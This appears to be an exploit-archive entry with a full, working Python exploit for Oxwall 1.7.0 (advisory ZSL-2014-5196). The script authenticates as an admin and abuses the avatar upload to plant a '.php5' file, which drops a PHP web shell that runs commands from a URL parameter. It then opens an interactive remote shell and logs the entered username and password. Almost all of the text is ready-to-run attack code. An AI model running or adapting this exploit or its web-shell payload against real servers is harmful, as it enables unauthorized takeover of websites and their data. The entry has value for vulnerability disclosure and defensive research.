Oxwall 1.7.0 Remote Code Execution Exploit

2014.07.28
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python # # # Oxwall 1.7.0 Remote Code Execution Exploit # # # Vendor: Oxwall Software Foundation # Product web page: http://www.oxwall.org # Affected version: 1.7.0 (build 7907 and 7906) # # Summary: Oxwall is unbelievably flexible and easy to use PHP/MySQL # social networking software platform. # # Desc: Oxwall suffers from an authenticated arbitrary PHP code # execution. The vulnerability is caused due to the improper # verification of uploaded files in '/admin/settings/user' script # thru the 'avatar' and 'bigAvatar' POST parameters. This can be # exploited to execute arbitrary PHP code by uploading a malicious # PHP script file with '.php5' extension (to bypass the '.htaccess' # block rule) that will be stored in '/ow_userfiles/plugins/base/avatars/' # directory. # # Tested on: Kali Linux 3.7-trunk-686-pae # Apache/2.2.22 (Debian) # PHP 5.4.4-13(apache2handler) # MySQL 5.5.28 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # # Zero Science Lab - http://www.zeroscience.mk # Macedonian Information Security Research And Development Laboratory # # # Advisory ID: ZSL-2014-5196 # Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5196.php # # # 18.07.2014 # # version = '3.0.0.251' import itertools, mimetools, mimetypes import cookielib, urllib, urllib2, sys import logging, os, time, datetime, re from colorama import Fore, Back, Style, init from cStringIO import StringIO from urllib2 import URLError init() if os.name == 'posix': os.system('clear') if os.name == 'nt': os.system('cls') piton = os.path.basename(sys.argv[0]) def bannerche(): print ''' @---------------------------------------------------------------@ | | | Oxwall 1.7.0 Remote Code Execution Exploit | | | | | | ID: ZSL-2014-5196 | | | | Copyleft (c) 2014, Zero Science Lab | | | @---------------------------------------------------------------@ ''' if len(sys.argv) < 2: print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname>\n' print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk\n' sys.exit() bannerche() print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET host = sys.argv[1] cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) try: opener.open('http://'+host+'/sign-in?back-uri=admin') except urllib2.HTTPError, errorzio: if errorzio.code == 404: print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET print sys.exit() except URLError, errorziocvaj: if errorziocvaj.reason: print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET print sys.exit() print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Login please.' username = raw_input('\x20\x20[*] Enter username: ') password = raw_input('\x20\x20[*] Enter password: ') login_data = urllib.urlencode({ 'form_name' : 'sign-in', 'identity' : username, 'password' : password, 'remember' : 'on', 'submit' : 'Sign In' }) try: login = opener.open('http://'+host+'/sign-in?back-uri=admin', login_data) auth = login.read() except urllib2.HTTPError, errorziotraj: if errorziotraj.code == 403: print '\x20\x20[*] '+Fore.RED+'Blocked by WAF.'+Fore.RESET print sys.exit() for session in cj: sessid = session.name print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET ses_chk = re.search(r'%s=\w+' % sessid , str(cj)) cookie = ses_chk.group(0) print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET if re.search(r'Invalid username or email', auth): print '\x20\x20[*] Invalid username or email given '+'.'*23+Fore.RED+'[ER]'+Fore.RESET print sys.exit() elif re.search(r'Invalid password', auth): print '\x20\x20[*] Invalid password '+'.'*38+Fore.RED+'[ER]'+Fore.RESET sys.exit() else: print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET class MultiPartForm(object): def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): self.form_fields.append((name, value)) return def add_file(self, fieldname, filename, fileHandle, mimetype=None): body = fileHandle.read() if mimetype is None: mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' self.files.append((fieldname, filename, mimetype, body)) return def __str__(self): parts = [] part_boundary = '--' + self.boundary parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) parts.extend( [ part_boundary, 'Content-Disposition: file; name="%s"; filename="%s"' % \ (field_name, filename), 'Content-Type: %s' % content_type, '', body, ] for field_name, filename, content_type, body in self.files ) flattened = list(itertools.chain(*parts)) flattened.append('--' + self.boundary + '--') flattened.append('') return '\r\n'.join(flattened) if __name__ == '__main__': form = MultiPartForm() form.add_field('form_name', 'userSettingsForm') form.add_field('displayName', 'realname') form.add_field('confirmEmail', 'on') form.add_field('avatarSize', '90') form.add_field('bigAvatarSize', '190') form.add_field('avatar', '') form.add_field('join_display_photo_upload', 'display') form.add_field('save', 'Save') form.add_file('bigAvatar', 'thricerbd.php5', fileHandle=StringIO('<?php system(\'echo \"<?php echo \\"<pre>\\"; passthru(\$_GET[\\\'cmd\\\']); echo \\"</pre>\\"; ?>\" > liwo.php5\'); ?>')) request = urllib2.Request('http://'+host+'/admin/settings/user') request.add_header('User-agent', 'joxypoxy 3.0') body = str(form) request.add_header('Content-type', form.get_content_type()) request.add_header('Cookie', cookie) request.add_header('Content-length', len(body)) request.add_data(body) request.get_data() urllib2.urlopen(request).read() print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET checkfilename = urllib2.urlopen(request).read() filename = re.search('default_avatar_big_(\w+)', checkfilename).group(1) print '\x20\x20[*] Getting file name '+'.'*37+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] File name: '+Fore.YELLOW+'default_avatar_big_'+filename+'.php5'+Fore.RESET opener.open('http://'+host+'/ow_userfiles/plugins/base/avatars/default_avatar_big_'+filename+'.php5') print '\x20\x20[*] Persisting file liwo.php5 '+'.'*29+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET time.sleep(1) furl = '/ow_userfiles/plugins/base/avatars/liwo.php5' print today = datetime.date.today() fname = 'oxwall-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log' logging.basicConfig(filename=fname,level=logging.DEBUG) logging.info(' '+'+'*75) logging.info(' +') logging.info(' + Log started: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')) logging.info(' + Title: Oxwall 1.7.0 Remote Code Execution Exploit') logging.info(' + Python program executed: '+sys.argv[0]) logging.info(' + Version: '+version) logging.info(' + Full query: \''+piton+'\x20'+host+'\'') logging.info(' + Username input: '+username) logging.info(' + Password input: '+password) logging.info(' + Vector: '+'http://'+host+furl) logging.info(' +') logging.info(' + Advisory ID: ZSL-2014-5196') logging.info(' + Zero Science Lab - http://www.zeroscience.mk') logging.info(' +') logging.info(' '+'+'*75+'\n') print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET raw_input() while True: try: cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET) execute = opener.open('http://'+host+furl+'?cmd='+urllib.quote(cmd)) reverse = execute.read() pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M) print Style.BRIGHT+Fore.CYAN cmdout = pattern.match(reverse) print cmdout.groups()[0].strip() print Style.RESET_ALL+Fore.RESET if cmd.strip() == 'exit': break logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n') except Exception: break logging.warning('\n\nLog ended: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')+'\n\nEND OF LOG') print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Log file: '+Fore.YELLOW+fname+Fore.RESET print sys.exit()

References:

http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5196.php


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